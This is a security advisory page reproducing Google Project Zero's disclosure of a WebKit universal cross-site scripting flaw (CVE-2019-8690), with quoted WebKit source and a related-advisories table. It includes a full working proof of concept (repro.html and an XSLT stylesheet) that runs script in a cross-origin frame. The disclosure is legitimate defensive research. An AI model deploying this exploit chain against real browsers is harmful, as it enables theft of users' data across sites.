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WebKit Universal Cross Site Scripting
🗓️ 12 Aug 2019 00:00:00Reported by Google Security ResearchType 
packetstorm🔗 packetstormsecurity.com👁 255 Views
| Reporter | Title | Published | Views | Family All 147 |
|---|---|---|---|---|
 | WebKit - UXSS via XSLT and Nested Document Replacements Exploit | 12 Aug 201900:00 | – | zdt |
 | Amazon Linux 2 : webkitgtk4 (ALAS-2020-1563) | 11 Nov 202000:00 | – | nessus |
| AlmaLinux 8 : GNOME (ALSA-2019:3553) | 9 Feb 202200:00 | – | nessus |
| Apple TV < 12.4 Multiple Vulnerabilities | 26 Jul 201900:00 | – | nessus |
| Apple iOS < 12.4 Multiple Vulnerabilities | 23 Jul 201900:00 | – | nessus |
| CentOS 8 : GNOME (CESA-2019:3553) | 29 Jan 202100:00 | – | nessus |
| CentOS 7 : webkitgtk4 (RHSA-2020:4035) | 30 Nov 202000:00 | – | nessus |
| Debian DSA-4515-1 : webkit2gtk - security update | 5 Sep 201900:00 | – | nessus |
| FreeBSD : webkit2-gtk3 -- Multiple vulnerabilities (e45c3669-caf2-11e9-851a-dcf3aaa3f3ff) | 3 Sep 201900:00 | – | nessus |
| GLSA-201909-05 : WebkitGTK+: Multiple vulnerabilities | 9 Sep 201900:00 | – | nessus |
10
`WebKit: UXSS via XSLT and nested document replacements
Related CVE Numbers: CVE-2019-8690Id-714702681.
VULNERABILITY DETAILS
https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/xml/XSLTProcessor.cpp#L66
```
Ref<Document> XSLTProcessor::createDocumentFromSource(const String& sourceString,
const String& sourceEncoding, const String& sourceMIMEType, Node* sourceNode, Frame* frame)
{
Ref<Document> ownerDocument(sourceNode->document());
bool sourceIsDocument = (sourceNode == &ownerDocument.get());
String documentSource = sourceString;
RefPtr<Document> result;
if (sourceMIMEType == \"text/plain\") {
result = XMLDocument::createXHTML(frame, sourceIsDocument ? ownerDocument->url() : URL());
transformTextStringToXHTMLDocumentString(documentSource);
} else
result = DOMImplementation::createDocument(sourceMIMEType, frame, sourceIsDocument ? ownerDocument->url() : URL());
// Before parsing, we need to save & detach the old document and get the new document
// in place. We have to do this only if we're rendering the result document.
if (frame) {
[...]
frame->setDocument(result.copyRef());
}
auto decoder = TextResourceDecoder::create(sourceMIMEType);
decoder->setEncoding(sourceEncoding.isEmpty() ? UTF8Encoding() : TextEncoding(sourceEncoding), TextResourceDecoder::EncodingFromXMLHeader);
result->setDecoder(WTFMove(decoder));
result->setContent(documentSource);
```
https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/page/Frame.cpp#L248
```
void Frame::setDocument(RefPtr<Document>&& newDocument)
{
ASSERT(!newDocument || newDocument->frame() == this);
if (m_documentIsBeingReplaced) // ***1***
return;
m_documentIsBeingReplaced = true;
[...]
if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
m_doc->prepareForDestruction(); // ***2***
m_doc = newDocument.copyRef();
```
`setDocument` calls `Document::prepareForDestruction`, which might trigger JavaScript execution via
a nested frame's \"unload\" event handler. Therefore the `m_documentIsBeingReplaced` flag has been
introduced to avoid reentrant calls. The problem is that by the time `setDocument` is called,
`newDocument` might already have a reference to a `Frame` object, and if the method returns early,
that reference will never get cleared by subsequent navigations. It's not possible to trigger
document replacement inside `setDocument` via a regular navigation request or a 'javascript:' URI
load; however, an attacker can use an XSLT transformation for that.
When the attacker has an extra document attached to a frame, they can navigate the frame to a
cross-origin page and issue a form submission request to a 'javascript:' URI using the extra
document to trigger UXSS.
VERSION
WebKit revision 245321.
It should affect the stable branch as well, but the test case crashes Safari 12.1.1 (14607.2.6.1.1).
REPRODUCION CASE
repro.html:
```
<body>
<script>
createFrame = doc => doc.body.appendChild(document.createElement('iframe'));
pi = document.createProcessingInstruction('xml-stylesheet',
'type=\"text/xml\" href=\"stylesheet.xml\"');
cache_frame = createFrame(document);
cache_frame.contentDocument.appendChild(pi);
setTimeout(() => {
victim_frame = createFrame(document);
child_frame_1 = createFrame(victim_frame.contentDocument);
child_frame_1.contentWindow.onunload = () => {
victim_frame.src = 'javascript:\"\"';
try {
victim_frame.contentDocument.appendChild(document.createElement('html')).
appendChild(document.createElement('body'));
} catch { }
child_frame_2 = createFrame(victim_frame.contentDocument);
child_frame_2.contentWindow.onunload = () => {
doc = victim_frame.contentDocument;
doc.write('foo');
doc.firstChild.remove();
doc.appendChild(pi);
doc.appendChild(doc.createElement('root'));
doc.close();
}
}
victim_frame.src = 'javascript:\"\"';
if (child_frame_1.xslt_script_run) {
victim_frame.src = 'http://example.com/';
victim_frame.onload = () => {
form = corrupted_doc.createElement('form');
form.action = 'javascript:alert(document.body.innerHTML)';
form.submit();
}
}
}, 2000);
</script>
</body>
```
stylesheet.xml:
```
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">
<xsl:template match=\"/\">
<html>
<body>
<script>
<![CDATA[
document.body.lastChild.xslt_script_run = true;
]]>
</script>
<iframe src=\"javascript:top.corrupted_doc = frameElement.ownerDocument; frameElement.remove();\"></iframe>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
```
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made
broadly available (whichever is earlier), the bug report will become visible to the public.
Found by: [email protected]
`
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12 Aug 2019 00:00Current
7.7High risk
Vulners AI Score7.7
EPSS0.0807